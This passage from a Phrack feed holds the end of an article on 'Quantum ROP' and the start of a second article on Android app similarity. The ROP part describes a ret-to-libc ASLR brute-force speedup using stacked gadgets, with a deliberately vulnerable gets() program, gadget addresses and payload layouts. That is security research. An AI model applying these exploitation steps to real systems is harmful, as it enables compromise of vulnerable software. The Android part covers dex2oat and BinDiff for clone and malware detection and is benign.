function (*) buffer fill-up should overwrite the saved %ebp as well, if it is used. When the function containing the overflown buffer returns, the execution will resume at function_in_lib, which should be the address of a library function. From this function's point of view, dummy_int32 will be the return address, and arg_1, arg_2 and the following words will be the arguments. Typically, function_in_lib will be the libc system() function address, and arg_1 will point to "/bin/sh". 2 The difficulty with overcoming ASLR (And PIE) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This section is heavily based on [1]. ASLR and PIE are two security mitigations that randomize a process' memory layout. Without these, exploiting a BOF using ROP is rather easy since gadget addresses are deterministic. With ASLR and PIE present, brute forcing the libc base address is the trivial way to bypass these mitigations. In 32-bit the default randomization bits are 8 bits (not always), which gives 256 options for the libc base address, making it fairly possible to brute force. While in 64-bit the default value is 28-bit, which makes it exponentially harder to brute force. In local exploits, failed attempts will probably cause a SEGFAULT, and continuous attempts are possible. However, in remote exploits, there are many variables that affect the duration of each attempt. For example, network speed, watchdog configuration, program state and exploitation complexity. These occasionally make exploitation nontrivial or infeasible, because of the time it takes to reach a reliable exploitation chance (which we will further examine later). There are other known ways to overcome ASLR without having to brute force. Information leaks are commonly used to defeat ASLR. For example, local attackers have often been able to leak information from /proc/<pid> to bypass ASLR [6]. In the following chapter I will describe a new method to dramatically reduce exploitation time for brute force attacks. 3 Quantum ROP ~~~~~~~~~~~~~~~ For the purpose of this chapter we will be using this C code: #include <stdlib.h> #include <stdio.h> void foo() { char bar[10] = {0}; printf("%s", gets(bar)); } int main() { foo(); return 0; } compile command: gcc -m32 -fno-stack-protector foo.c -o foo A normal ret-to-libc exploit would look like this: Overflowing the buffer and changing the return address into our ret-to-libc gadget, turning this: +----------------------------------------+ | buffer | some data | ret addr | +----------------------------------------+ into this: +----------------------------------------+ | AAAAAAAAAA | AAAAAAAAAAAA | libc addr | +----------------------------------------+ And using good old ROP to execute arbitrary code. But since the libc base address is randomized - thanks to ASLR - we are forced to guess the libc address and exploit until libc happens to land exactly where we guessed. Let's speed things up. First, let's look for ROP gadgets. I used ROPgadget by Jonathan Salwan to find a solid set of useful gadgets from our libc file. Using the libc binary as a parameter, here is the command I came up with: ROPgadget --binary libc.so.6 --all --nojop --badbytes 0A I marked 0A (newline) as a bad byte because the code is reading our input with gets(), which cuts off at newline - so anything after that would just be ignored. Next, we are looking for two gadgets that are exactly x pages apart from each other. For example, take a look at these: 1. 0x0015b456 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 2. 0x0015c456 : ret Then we will use one of those gadgets in our buffer overflow - for example, the second one. We will pair it with a libc base address guess, taken from one of the program's previous runs. For simplicity, let's go with a guessed libc base of 0xf0000000. Here is what our stack looks like during the overflow: +----------------------------------------+ | AAAAAAAAAA | AAAAAAAAAAAA | 0xf015c456 | +----------------------------------------+ ^ the return address --------------+ We are overwriting the return address with our gadget at 0xf015c456, sitting exactly one page above the first ROP gadget inside our guessed libc. And here is how the relevant chunk of memory in libc looks: +----------------+ | | | | | | | | libc base address --> |----------------| 0xf0000000 | . | | . | | . | |----------------| | First gadget | 0xf015b456 | . | |----------------| relevant gadget --> | Second gadget | 0xf015c456 | . | | . | | . | end of libc --> |----------------| | | | | +----------------+ Now, if the program actually maps libc at our guessed address (0xf0000000) then our second ROP gadget will get triggered right away. But what about the first ROP gadget? How does it help? Here is the trick: since libc is always loaded with page alignment, there is an equal chance the base address might land at 0xf0001000, just one page off from our original guess. In that case, the memory layout shifts, and looks like this: +----------------+ | | | | | | | | libc base address --> |----------------| 0xf0001000 | . | | . | | . | |----------------| relevant gadget --> | First gadget | 0xf015c456 | . | |----------------| | Second gadget | 0xf015d456 | . | | . | | . | end of libc --> |----------------| | | | | +----------------+ So now, if libc loads one page higher, our overwritten return address will still point into libc - but this time it hits the first gadget instead of the second. That way, we have doubled our chances of a successful hit, without changing the payload! In order to successfully execute arbitrary code in both cases, we need to know which ROP gadget was triggered - which tells us what the libc base address is. Once we figure that out, we can continue crafting the rest of our chain accordingly. You might have noticed that in both of our gadgets, we change the stack pointer. However, each ROP gadget adjusts it by a different amount. In our example, the first gadget pops four more values than the second. This subtle difference is key: it lets us identify which ROP gadget actually ran based on where the stack pointer ends up at. Let's update our payload. We have two ROP gadgets: 1. 0x0015b456 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 2. 0x0015c456 : ret the ROP chain if second gadget is hit ----+ | the program return address --+ | V V +--------------------------------------------------------------------------+ | 0x41414141 | .......... | 0xf015c456 | 0xDEAD | 0xDEAD | 0xDEAD | 0xDEAD | |--------------------------------------------------------------------------| | 0xBEEF | 0xBEEF | 0xBEEF | 0xBEEF | .......... | .......... | .......... | +--------------------------------------------------------------------------+ ^ | + The ROP chain if first gadget is triggered Now, let's see what happens when the second gadget is triggered. Since the second gadget is just a ret, it immediately transfers control to the first 0xDEAD - the start of the next ROP in our chain. If this happens, we know that libc is mapped at 0xf0000000. stack pointer after the second gadget-----+ V +--------------------------------------------------------------------------+ | 0x41414141 | .......... | 0xf015c456 | 0xDEAD | 0xDEAD | 0xDEAD | 0xDEAD | |--------------------------------------------------------------------------| | 0xBEEF | 0xBEEF | 0xBEEF | 0xBEEF | .......... | .......... | .......... | +--------------------------------------------------------------------------+ Now, if instead the first ROP gadget is executed then the stack will look as follows: +--------------------------------------------------------------------------+ | 0x41414141 | .......... | 0xf015c456 | 0xDEAD | 0xDEAD | 0xDEAD | 0xDEAD | |--------------------------------------------------------------------------| | 0xBEEF | 0xBEEF | 0xBEEF | 0xBEEF | .......... | .......... | .......... | +--------------------------------------------------------------------------+ ^ | + stack pointer after the first gadget This time, because the gadget does four pops before returning, the return lands somewhere deeper in the payload - in our case, on the first 0xBEEF. Since this only happens if libc was mapped at 0xf0001000, we have just confirmed the base address. In either case, we can continue the ROP chain with the corresponding libc base address. Quantum ROP offers a simple yet powerful way to boost the success rate of ret-to-libc attacks under ASLR. By carefully selecting two ROP gadgets spaced X-pages apart in libc, we effectively create a dual-path exploit. One gadget triggers if our initial guess is correct, and the other triggers if it is off by their difference. This method multiplies our chances for success with a constant payload - and thanks to the subtle difference in stack adjustments between gadgets, we can detect which one executed and deduce the actual libc base address in each corresponding exploit. Let's call each of these gadgets a qgadget, as they serve the purpose of potentially existing at the same address, but only one may exist at this address when you actually run the program. We shall also name the actual guessed address in the return address as qaddress, for obvious reasons. The method does not stop here: this technique isn't limited to just two qgadgets. By adding more qgadgets that share the same offset within their page, we can stack multiple fallback paths into the same payload, increasing our odds of success per attempt. It is likely to be able to produce a payload abusing not only two, but eight gadgets, reducing the 8 bits of ASLR to effectively 5 bits. In our example, we carefully chose the qgadgets that fit perfectly. Using one_gadget [3], we were able to produce a working four-gadget-long exploit that fit exactly with our chosen qgadgets. For cases where you require longer ROP chains, you can resolve this by using an add/sub esp gadget, allowing you to create more space for each ROP chain and continue the chain elsewhere. 4 Qgadget collisions - going further and beyond ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Until now, I only showed how to make it work when qgadgets differ in the amount by which they move the stack pointer. Now what if I found three gadgets, but two of them move the stack pointer by the exact same amount? Am I forced to give up on one of them? Well, using the same technique as before, we can distinguish between the two gadgets. Let us assume that the two gadgets are simple "ret" gadgets. This means that the next pointer after the return address is the next gadget executed. Consider this real example from my libc: 0x00194063 : pop ebp ; ret 0x00195063 : ret 0x0019d063 : ret The first gadget's stack shift is unique, but the next two are the same. We can observe that the difference between the two identical qgadgets is 8 pages. Now, if we find two gadgets of the same difference that move the stack pointer by a different amount, we can split those two cases: 0x00125417 : pop ebp ; ret 0x0012d417 : pop edi ; pop ebp ; ret Adding the difference between the two pairs of gadgets to the qaddress allows the qgadgets to be chained. libc 0xf0000000 | libc 0xf0008000 +--------------+ | +--------------+ qaddress --> | 0xf019d063 |---+ | qaddress --> | 0xf019d063 |---+ +--------------+ | | +--------------+ | +---| 0xf012d417 |---+ | +---| 0xf012d417 |---+ | +--------------+ | | +--------------+ | | .......... | | | | .......... | | +--------------+ | | +--------------+ | | .......... | | +---| stackpivot | | +--------------+ | +--------------+ +---| stackpivot | | | .......... | +--------------+ | +--------------+ Here, stackpivot is an add/sub esp gadget which can already assume one deterministic libc address, and jump to its corresponding ROP chain in the stack. In each case, the addresses are the same, but the gadgets differ, which makes them distinguishable. Now, when collisions are not a problem anymore, I estimate that even 16 qgadgets are possible, making 8 bits of randomization effectively 4 bits! This is a huge deal. ASLR is not as effective as we used to think. 5 More randomized bits, more potential qgadgets ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Let us examine the case where more bits are randomized, and how that affects the exploit. In the case of 8 bits of randomization, where libraries are loaded aligned to page size, we have (2 ^ 8) * 0x1000 = 0x100000 = 1MB randomization range. This means that any randomized executable range of 1MB is effectively a candidate in which we can search for qgadgets. Since libc is around 2MB nowadays, imported in every ELF, and contains plenty of gadgets, it's the most natural choice for implementing such a technique. But technically any other library would work as well. If there were for example, 9-bits of randomization, it would have two major effects on the probability of hitting a quantum gadget. 1. Every additional bit of randomization makes it twice as hard to hit the same amount of quantum gadgets. For example, 5 gadgets with 8-bits of randomization are the same as 10 gadgets with 9-bits. 2. The randomization range increases to 2MB, which allows us to look for gadgets in a larger range. We can use gadgets from libc, and from the library loaded right before/after libc, for example. This doubles the range in which we can search for gadgets. But it does not mean that we are likely to find a group of quantum gadgets double in size. Further exploring the natural behavior of such a problem, it can actually be shown that the first effect will always cut the chances by two, and the second is upper-bounded to double the chances, therefore upper-bounded to balance out. We can turn this problem into a probability problem: K - chunk size (page size) N - number of chunks in bits (bits of randomization) P - the probability of an address being a usable quantum gadget A - An array of 2^N arrays, each of size K, where A[i,j] has P probability to be 1 and 1-P probability to be 0. i being chunk index, j being offset The question would be what is the expected value of the maximum sum of A[0,j] + A[1,j] + ... A[2^N,j] for every possible j. These sums follow a binomial distribution, and their expected maximum value can be calculated using the CDF method. Substituting K = 0x1000, N = 8, and P = 0.025 it is possible to get a good approximation of how the expected maximum grows as N increases. I chose P to be the ratio between the number of gadgets found in my libc and the number of valid executable addresses in libc, roughly halving the result to account for many unusable gadgets. +----+--------------------+--------------------+ | N | Approx. QGadgets | Hit chances | +----+--------------------+--------------------+ | 8 | 17.159036642229488 | 0.0670274868837089 | +----+--------------------+--------------------+ | 9 | 27.368423952770550 | 0.0534539530327549 | +----+--------------------+--------------------+ | 10 | 45.520201172796410 | 0.0444533214578089 | +----+--------------------+--------------------+ | 11 | 78.659547111384850 | 0.0384079819879808 | +----+--------------------+--------------------+ | 12 | 140.49855876896643 | 0.0343014059494546 | +----+--------------------+--------------------+ NOTE: I'm not a mathematician, take these values with a grain of salt. Here is the extremely rough estimation I was able to produce. Note that the hit chances without using QROP, with 8 bits of randomization, is 1/256 = 0.00390625. This means that with QROP, even going up to 11 bits of randomization, it can still be ten times more efficient than 8 bits. There are, however, some things I overlooked calculating these estimations: 1. As bits of randomization grow, I assume that the libraries are big enough to contain the randomization range. Because the range grows exponentially, this assumption very quickly becomes unrealistic. This depends heavily on the executable and the libraries it requires. 2. Similarly, as bits of randomization decrease, we are not bound to look just at one executable range of memory. We can find the range that produces the largest number of quantum gadgets. 3. When using more than one library for gadgets, there are actually non-executable memory regions between the libraries' executable, which makes approximating a general case even harder. Some libraries may contain bigger non-executable regions, and some bigger executable regions. A rough estimate can be deducted from the probability of a valid address being a usable gadget. 4. Not all libraries have the same probability of finding a usable gadget. 5. The more quantum gadgets you try to use, the more unrealistically capable and flexible the initial BOF must be. Which means that the estimates are very optimistic, especially as we go up in bits of randomization. 6 Technique potential ~~~~~~~~~~~~~~~~~~~~~~~ To examine the potential of this method we need to look at a few things. @ Relevance QROP is only relevant in the following circumstances: - In cases of stack-based buffer overflow - In 32-bit executables (for realistic probabilities) - When stack canaries are not an issue Although not extremely common and in constant decline as 64-bit and stack canaries are the default nowadays, it is not rare to encounter such scenarios. @ Vulnerability strength The vulnerability strength is determined by the controllability of the overflowed data, and the maximum length of the overflowed data. The longer it can be, the more room it will have to realize the potential of QROP. There could be more specific constraints like blacklisted characters, like we showed in the example above. @ Bits of randomization The default for 32-bit is 8 bits of randomization in x86_64. This has changed, at least in Ubuntu, due to ASLRn't [4][5], and is now 16 bits. This setting may vary depending on the architecture, distribution, kernel compilation flags, kernel configuration and version. @ Libraries loaded The more libraries loaded, the more executable regions there are to search for qgadgets. @ Architecture I only examined the x86_64 architecture with a modern libc build. The technique might need to change completely for other environments. @ Chances of finding usable gadgets There are plenty of gadgets. The chances a gadget will be usable as a qgadget depends on the libraries loaded and architecture. Looking into libc on x86_64 I estimate that around 16 gadgets is approximately the maximum with 8 bits of randomization. I presented a deeper analysis on this topic earlier. @ Execution time and latency In certain scenarios, this technique might be more feasible than in others. For example when exploiting a vulnerability locally, the difference between 8 bits and 4 bits of randomization might not be significant. However, in remote exploitation with latency and a program that takes relatively long to reach the vulnerable code, this could be a game-changer. 7 Conclusions ~~~~~~~~~~~~~~~ QROP is a method of maximizing time efficiency when exploiting stack-based buffer overflows without stack canaries, but with NX and ASLR on 32-bit systems. The method is generic in concept and can be abused on the simplest of programs, but its potential, effectiveness and practical implementation are highly context dependent. This article summarizes every aspect of this method I saw worth analyzing. There might be more to it - which I will be happy to hear and discuss. 8 References ~~~~~~~~~~~~~ [1] The advanced return-into-lib(c) exploits Nergal https://phrack.org/issues/58/4 [2] Getting around non-executable stack (and fix) Solar Designer https://seclists.org/bugtraq/1997/Aug/63 [3] one_gadget david942j https://github.com/david942j/one_gadget [4] ASLRn't: How memory alignment broke library ASLR zolutal https://blog.zolutal.io/aslrnt/ [5] ASLR test fails in Ubuntu 22.10 https://bugs.launchpad.net/ubuntu-kernel-tests/+bug/1983357 [6] The never ending problems of local ASLR holes in Linux Blaze Labs https://www.blazeinfosec.com/post/never-ending-problems-aslr-linux/ Co-written with Yahav Rahom (yahavrahom1@gmail.com). ]]> https://phrack.org/issues/72/revisiting-similarities-of-android-apps.html Tue, 19 Aug 2025 00:00:00 +0000 Jakob Bleier, Martina Lindorfer Phrack #72 phrack-72-13 |=------------------------------------------------------------------------=| |=---=[ Back to the Binary: Revisiting Similarities of Android Apps ]=----=| |=------------------------------------------------------------------------=| |=-----------------=[ Jakob Bleier & Martina Lindorfer ]=-----------------=| |=------------------------------------------------------------------------=| --[ Table of Contents 0. A Bit of Context 1. A Bit of History 2. A Bit of the Current State 3. A Bit of Examples 4. A Bit of Putting the Bits Together 5. A Bit of an Outlook 6. A Bit of Summary and Thanks 7. A Bit of References 8. And That Makes a Byte (code) --[ 0 - A Bit of Context > The sky above the port was the color of a mobile phone, > stuck in a boot loop. It's been 13 years since "Similarities for Fun and Profit [0]," aka Elsim, was published in April 2012. Python 2.7 was still supported, Android 4.1 wasn't released yet, and it would take another 2 years until a libstagefright bug would get its very own shiny logo. Heck, even Google Code was still around! Things changed, and herein lies our challenge: Code-based Android app similarity is not working (in 2025). The original Elsim code presented by Pouik and G0rfi3ld has seen major changes and improvements over the years, but unfortunately the updated version vanished (worry not, we saved a copy [1], tho we're still tracking down some dependencies). Alternative approaches were developed, but even if they have public descriptions and published code, they lack the generality of Elsim. Similarities between apps are still interesting: Detecting malware is one use case. Finding suspicious copies of apps is another. A fast similarity tool can help you find cloned apps and get you started on finding license violations, impostors, or trojans. With similarities there's also the possibility of clustering apps to find "families". Allegedly the biggest app store for Android uses machine learning to detect outliers [2]: Apps that should be similar are compared, and outliers investigated. For example, if most apps providing control over the Flashlight don't request access to your contact list, the few that do are worth taking a closer look at. But what is similarity anyway? Android apps can be easily downloaded [3], unpacked, changed, and repackaged. The presentation of an app, its icon and styling, are easy to change. So instead of relying on these properties, we want to use the code to reason whether apps are similar, ideally based on what they do, but this leads us very close to unsolvable problems. Imagine we want to be exact and see how many properties are shared between two apps: We'd need to define those properties and check if an app has them. For declared permissions, this is trivial. An app should not be able to access contact information without declaring the permission. If it actually has a particular property, it is, generally speaking, undecidable: Imagine we replace the call to get contact information with an infinite loop. Voila, we are trying to solve the Halting problem. So, instead of requiring similarity to represent what exactly apps do, we want to have an approximation of whether their code is similar. And while Android changed in ways that threw some convenient assumptions overboard, it also provided us with new opportunities. To understand why Android works the way it does in 2025, we'll travel a bit back in time and see how it used to work, what problems it had, and how they were solved. With this, we'll revisit the state of the art for similarities and then present a new approach to working with apps, treating them as binaries instead of bytecode. A good PoC can't be missing, so we show how to do what Elsim did by using our binary trickery: scoring the similarity of an app from zero to one based on code. TL;DR: We'll show how to turn APKs into binary ELF files and use those to calculate similarities between apps, such as Signal and TM SGNL, using BinDiff. Since this requires BinExport files and disassembly, it can take hours to analyze modern apps. We also provide a PoC to bring this down to minutes, which, for now, has a side effect of making BinDiff slower than it should be. --[ 1 - A Bit of History > And you may find yourself inside an Android Runtime. > And you may ask yourself - Well ... How did I get here? It's 2008. The HTC Dream has just been released with a whopping 528 MHz Processor and 192Mb of RAM. Java was chosen to be the language used to program Android apps. People know Java. People already programmed apps for mobile devices in Java ME, so it was brought to Android. Instead of using the stack-based Java Virtual Machine (JVM), the register-based Dalvik Virtual Machine (DVM) found its way into Android. The dalvikvm executable aimed at having a smaller memory footprint than the jvm, and Dalvik bytecode is easy to transpile from Java bytecode. It differs in some specifications that surely will not come back to bite us `:)`. For app developers this meant they could write Java code using the Android Software Development Kit (SDK) that would take the Java source code, compile it with a Java compiler like javac to Java bytecode, run Java-based plugins for optimizations and obfuscations (such as ProGuard), and then invoke the Dalvik compiler dx to create Dalvik Executable (.dex) files. The popular plugin ProGuard renamed method and class identifiers, creating a mapping.txt file that the developer can use to make sense of error information, such as stack traces. The .dex files were bundled in an Android Package (APK) zip, which in turn was distributed to devices, where the dalvikvm interprets the apps' code. Android provided a re-implementation of standard Java libraries, which also kept some lawyers busy. ```txt +-------------+ +-------------+ | source.java | | library.jar | ++------------+ ++------------+ | | +v--------------+ | +-------------+ | tools to +--+----> mapping.txt | | obfuscate and | | +-------------+ | optimize | | ++--------------+ | | | +v--------------+ | | javac | | ++--------------+ | | | +v-----------------v-+ | dx | +---------+----------+ | | above is accessible to developers ----------+---------------------------- | below is running on devices | +---------+--------------------------+ | APK | | | v | | classes.dex | | | | +---------+--------------------------+ | +---------+--------------------------+ | | | | +----v-----+ | | | dalvikvm | | | +----+-----+ | +------------------------------------+ ``` It's 2010. The Nexus One puts a 1Ghz processor, 512MB of RAM, and 512MB Storage into people's pockets. Apps need to go fast, and the dalvikvm implemented Just-In-Time (JIT) compilation of Dalvik to machine code. Another executable, dexopt, prepares an app's DEX code for this by saving it as an ODEX file, containing optimized DEX code. For some code, this is not fast enough. The Native Development Kit (NDK) allows developers to include libraries written in C and C++ in their apps. The Java Native Interface (JNI) allows this code to be called, allowing bundling of optimized libraries. ```txt +-------------+ +-------------+ | source.java | | library.jar | ++------------+ ++------------+ | | +v--------------+ | +-------------+ | tools to +--+----> mapping.txt | | obfuscate and | | +-------------+ | optimize | | ++--------------+ | | | +v--------------+ | +------------+ | javac | | | source.cpp | ++--------------+ | ++-----------+ | | | +v-----------------v-+ +v-----------+ | dx | | NDK | +---------+----------+ +--+---------+ | | | | above is accessible to developers ----------+----------------+----------- | | below is running on devices | | +---------+----------------+---------+ | APK | | | | v v | | classes.dex nativelib.so | | | | | +---------+----------------+---------+ | | +---------+----------------+---------+ | | | | | +----v-----+ +--v--+ | | | dexopt | | JNI | | | +----+-----+ +-----+ | | | | | +----v-----+ +----------+ | | | app.odex +-----> dalvikvm | | | +----------+ +----------+ | +------------------------------------+ ``` It's 2014. The Nexus 6 has a processor with not just one but four 2.7GHz cores and 3 GB of RAM. Its 32GB of storage allows for much more code to be stored, and so the JIT compilation is replaced by a complete Ahead-Of-Time (AOT) compilation. ODEX files no longer contain Dalvik code. They contain binary code and become OAT (allegedly "of-ahead-time") files. This compilation adds another layer of optimizations, a fact that will come back in Section 3.4. We will call the binary ODEX files OAT instead of ODEX, but they still use the file ending .odex. They are technically ELF shared objects with some additional metadata, but they are meant to only run with the Android Runtime (ART). It replaces the dalvikvm and can handle oat files. On the developers' side, the pipeline of javac-to-plugins-to-dx also sees changes: Jack and Jill replace the whole stack, unifying compilation and optimizations. Android apps are fast(er). ```txt +-------------+ +-------------+ | source.java | | library.jar | ++------------+ ++------------+ | | | | +------------+ | | | source.cpp | | | ++-----------+ | | | +v-----------------v-+ +v-----------+ | jack | | NDK | | and | | | | jill | | | +---------+----+-----+ +--+---------+ | | | | above is accessible to developers ----------+----------------+----------- | | below is running on devices | | +---------+----------------+---------+ | APK | | | | v v | | classes.dex nativelib.so | | | | | +---------+----------------+---------+ | | +---------+----------------+---------+ | ART | | | | +----v-----+ +--v--+ | | | dex2oat | | JNI | | | | | +-----+ | | | full | +----------+ | | | AOT----+-----> app.odex | | | | | +----------+ | | +----------+ | +------------------------------------+ ``` It's 2017. The Xperia XZ1 has eight 2.3GHz cores and 4GB RAM. Lessons were learned. First, getting rid of the Java compiler is rolled back and instead ProGuard's functionality is included in the R8/D8 compiler suite that consumes Java bytecode. Kotlin is added as the preferred language. It also turned out that compiling all of an app's code during installation can take a while, even with all those cores available. And, of course, all apps have to be recompiled after system updates, which eats performance like Android codename snacks. JIT is re-introduced, and profile-based compilation is added. The compilation profiles track per app which methods should be compiled ahead-of time, for example, after a system update. This saves resources. ```txt +-------------+ +-------------+ | source.java | | library.jar | ++------------+ ++------------+ | | | +-----------+ | +------------+ | | source.kt | | | source.cpp | | ++----------+ | ++-----------+ | | | | +v--v-----------+ | | | javac/kotlinc | | | +---------+-----+ | | | | | +---------v--------v-+ +v-----------+ | R8/D8 | | NDK | | includes ProGuard | | | | shrinking and | | | | renaming | | | +---------+----+-----+ +--+---------+ | | | | | | +-------------+ | +-----------+----> mapping.txt | | | +-------------+ | | | | above is accessible to developers ----------+----------------+----------- | | below is running on devices | | +---------+----------------+---------+ | APK | | | | v v | | classes.dex nativelib.so | | | | | +---------+----------------+---------+ | | +---------+----------------+---------+ | ART | | | | +----v-----+ +--v--+ | | | dex2oat | | JNI | | | | JIT | +-----+ | | | + | +----------+ | | | AOT----+-----> app.odex | | | | | +----------+ | | +----------+ | +------------------------------------+ ``` --[ 2 - A Bit of the Current State > What's in a name? An APK by any other name would smell of Java still. ---[ 2.1 - Building Android Apps and "Obfuscation" While ProGuard is not new, its obfuscation capacities in the Android SDK are limited to renaming identifiers of classes, methods, and fields. If an app crashes and the stack trace is collected, this renaming would make it inconvenient to debug, so a mapping.txt is created for the developer to translate the "obfuscated" names back to the original ones. Sadly, we can't find this in an APK, and if renaming took place, we can't trust the class and method identifiers. In some cases, this renaming should not be applied, for example, when reflection is used to dynamically refer to a class by its name. This can happen when Java/Kotlin code is called from native libraries. Since the NDK and D8/R8 are mostly unaware of each other's internals, these names must stay the same. Developers can exclude identifiers from renaming with the appropriate entries in the ProGuard configuration. In addition to ProGuard, the full capabilities of the R8 compiler further aggressively optimize the code, which means two things: First, unused (or "dead") code is removed from the app. This mainly affects libraries as they can provide much more functionality in their precompiled .jar file than an app uses. Second, methods can disappear due to inlining. If the compiler can verify that a method is only ever called at specific places, it can decide not to call the method from these places, but instead include the target methods code where it would be called. This reduces the number of unique methods (which is limited per DEX file!) and allows for additional optimizations. While renaming and compiler optimizations are not actual obfuscation, the official docs called it such until very recently [4]. Shoutout to whoever finally removed the example config of two lines containing two unrelated bugs that would stop compilation, it's been bugging us for a couple years. ---[ 2.2 - Similarity-Calculating Tools Some tools for app similarity calculation are unusable when class and method identifiers are changed. SimiDroid [5] uses names to match methods and then compares their instructions, classifying them as full, partial, or non-matches. The ratio of the resulting sets is then used to calculate an overall similarity. Diffuse [6] also uses method names for matches and could use mapping.txt files to account for obfuscation. Unfortunately, only developers have those, but we'd like to compare any APKs we can get our hands on, sources be damned. Dexofuzzy [7] implements a fuzzy hash based on code that is robust against small changes but not against structural ones -- eliminating large parts of dead library code or inlining many methods results in entirely different hashes. Finally, Elsim [1] uses Normalized Compression Distance (NCD) to provide a "rip-off indicator." It was still available when we started looking at this topic but had trouble analyzing bigger apps. In some cases, we had to stop the comparison after multiple days without a result. We pushed some optimizations, but it still was too slow to analyze modern apps with hundreds of thousands of methods. Various approaches are described in academia, but since they do not provide a PoC, they can Give Time For Others. In practice, the standard Android SDK optimizations are indistinguishable from obfuscations for available similarity tools. ---[ 2.3 - Dalvik is the Limit The trouble with analyzing Android apps is that we must deal with Dalvik bytecode. Since it effectively exists only in the Android ecosystem, any tools and techniques will need to be adjusted specifically for it. (Shoutout to Androguard development picking up after a dry spell!) To avoid maintaining special Dalvik tooling, some tools opt to transpile Dalvik bytecode into a form usable by tools with a larger audience, such as dex2jar used by SootUP [8]. Its predecessor, Soot, is used by SimiDroid. Unfortunately, Dalvik is not Java. It has a hard limitation on the number of identifiers in a single DEX file, so tools need to be able to merge those. It's no big deal nowadays. However, Dalvik does not impose an upper limit on the number of instructions in a method, so if it is lifted to Java bytecode, certain functions must be split because they contain more than 65536 bytes, which Java bytecode forbids. This was an open issue that crashes Soot (and thus SimiDroid) and, for a while, caused SootUP to skip analyzing a method. While the upstream dex2jar has fixed the issue [17], SootUP removed this dependency and integration is left as an exercise to the reader. Also, there might still be a way to break analysis with large methods `:)`. ---[ 2.4 - Summary and Back to Binary To summarize, tools to compute similarity don't work well with modern Android apps. Optimizations are having an overly obfuscating effect, and Dalvik-based tools have trouble keeping up to date. So what are our options? What do other fields do to meet their similarity needs? Turns out: Rop Gadgets^W^W BinDiff is forever [9] (and now open source!). Let's leave Dalvik be and compile apps to their binary OAT version using the ARTs ahead-of-time compilation. Since these binaries are valid ELF files, we can feed them to a disassembler, create a BinExport [13] file, and then feed it further to halvarflake's friendly neighborhood diffing tool based on graph-isomorphism [10]. --[ 3 - A Bit of Examples > What is a function? A miserable little pile of bytes. Let's go over some questions you might have by now. We've tried all this on a Pixel 8 hardware phone running Android 15 (BP1A.250305.019) just to show off this works on real devices, but an emulator works just as well. Since the system owns the system-generated OAT files, we need root to access them. Our test app will be Organic Maps [11] (version 2025.05.20-5-FDroid) because we just think it's neat and more people should know about it. ---[ 3.1 - How Does the ART Compile an App's Code Ahead-of-Time? The ART is supposed to run AOT compilation during installation, and dex2oat is part of the art, so let's start logcat with `adb logcat artd:I *:S` and install an app. ```console $ adb install app.organicmaps.apk Performing Streamed Install Success ``` In the logcat output, we see the complete invocation of dex2oat: ```console $ adb logcat artd:I *:S # formatted for convenience [...] 02-29 13:37:42.123 6074 6074 I artd : Running dex2oat: /apex/com.android.art/bin/art_exec --drop-capabilities --set-task-profile=Dex2OatBootComplete --set-priority=background --keep-fds=6:7:8:9:10:11 -- /apex/com.android.art/bin/dex2oat64 --zip-fd=6 --zip-location=/data/app/[...]/base.apk --oat-fd=7 --oat-location=/data/app/[...]/oat/arm64/base.odex --output-vdex-fd=8 --swap-fd=9 --class-loader-context-fds=10:11 --class-loader-context=PCL[]{PCL[...]} --classpath-dir=/data/app/[...] --instruction-set=arm64 --instruction-set-features=default --instruction-set-variant=cortex-a55 --compiler-filter=verify --compilation-reason=install --compact-dex-level=none --max-image-block-size=524288 --resolve-startup-const-strings=true --generate-mini-debug-info --runtime-arg -Xtarget-sdk-version:35 --runtime-arg -Xhidden-api-policy:enabled --cpu-set=0,1,2,3,4,5,6,7,8 -j8 --runtime-arg -Xms64m --runtime-arg -Xmx512m --comments=app-name:app.organicmaps,[...] ``` There's a lot in there, and `dex2oat --help` makes for a lovely afternoon read. But we'd like to point out some interesting things. The obvious one is that it's just a binary that we can call ourselves. Sure, there is some trickery with file descriptors, but the flag `--dex-file` accepts a DEX, JAR, or APK. Second, the flag `--compiler-filter` is used to verify the code, creating the .vdex file. It also accepts 'everything', which is nothing more than the full-AOT mode of Android 7 and 8. Because the system didn't use a profile for this compilation, the resulting odex is quite small: ```console $ adb shell pm path app.organicmaps package:/data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/app.organicmaps-2xFay0QEb95pHRC _k_T1gA==/base.apk $ adb shell ls -lah /data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/app.organicmaps-2xFay0QEb95pHRC_k_T1gA= =/oat/arm64/base.odex -rw-r--r-- 1 system all_a306 65K 2025-02-29 13:37 /data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/app.organicmaps-2xFay0QEb95pHRC_k_T1gA= =/oat/arm64/base.odex ``` ---[ 3.2 - How Can We Compile an App's Code Fully Ahead-of-Time? We could run dex2oat ourselves, recreating the invocation as closely as possible. Fortunately we don't have to deal with this, and can instead ask Android nicely to do it for us. The package manager `pm` will do it: ```console $ adb shell pm compile -m everything app.organicmaps Success ``` Looking at the logs, we see a very similar invocation, but now the compiler filter has been set to 'everything': ```console $ adb logcat artd:I *:S # formatted for convenience [...] 02-29 15:51:15.515 6074 6583 I artd : Running dex2oat: /apex/com.android.art/bin/art_exec --drop-capabilities --set-task-profile=Dex2OatBootComplete --set-priority=background --keep-fds=6:7:8:9:10:11:12 -- /apex/com.android.art/bin/dex2oat64 --zip-fd=6 -zip-location=/data/app/[...]/base.apk --oat-fd=7 --oat-location=/data/app/[...]/oat/arm64/base.odex --output-vdex-fd=8 --swap-fd=9 --class-loader-context-fds=10:11 --class-loader-context=PCL[]{PCL[...]} --classpath-dir=/data/app/[...] --input-vdex-fd=12 --instruction-set=arm64 --instruction-set-features=default --instruction-set-variant=cortex-a55 --compiler-filter=everything --compilation-reason=cmdline --compact-dex-level=none --max-image-block-size=524288 --resolve-startup-const-strings=true --generate-mini-debug-info --runtime-arg -Xtarget-sdk-version:35 --runtime-arg -Xhidden-api-policy:enabled --cpu-set=0,1,2,3,4,5,6,7,8 -j8 --runtime-arg -Xms64m --runtime-arg -Xmx512m --comments=app-name:app.organicmaps,[...] ``` And indeed, the odex now contains a lot more binary code: ```console $ adb shell 